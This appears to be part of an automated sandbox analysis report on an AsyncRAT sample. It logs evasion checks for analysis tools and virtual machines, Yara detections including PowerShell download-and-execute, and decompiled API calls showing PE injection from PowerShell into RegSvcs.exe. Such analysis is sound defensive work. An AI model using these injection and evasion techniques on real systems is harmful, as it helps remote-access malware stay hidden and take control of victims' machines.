Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1989	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3572	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3801	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3601	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4284	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3300	Thread sleep count: 3572 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3300	Thread sleep count: 3801 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: RegSvcs.exe, 00000004.00000002.2958104515.0000000001438000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
Source: powershell.exe, 00000003.00000002.1707163230.000001851D005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_4312.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 3.2.powershell.exe.1851cfe0000.5.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: ReadProcessMemory_API(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesWritten)
Source: 3.2.powershell.exe.1851cfe0000.5.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: VirtualAllocEx_API(processInformation.ProcessHandle, num4, length, 12288, 64)
Source: 3.2.powershell.exe.1851cfe0000.5.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: WriteProcessMemory_API(processInformation.ProcessHandle, num5, data, bufferSize, ref bytesWritten)
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, AntiProcess.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: E88008	Jump to behavior

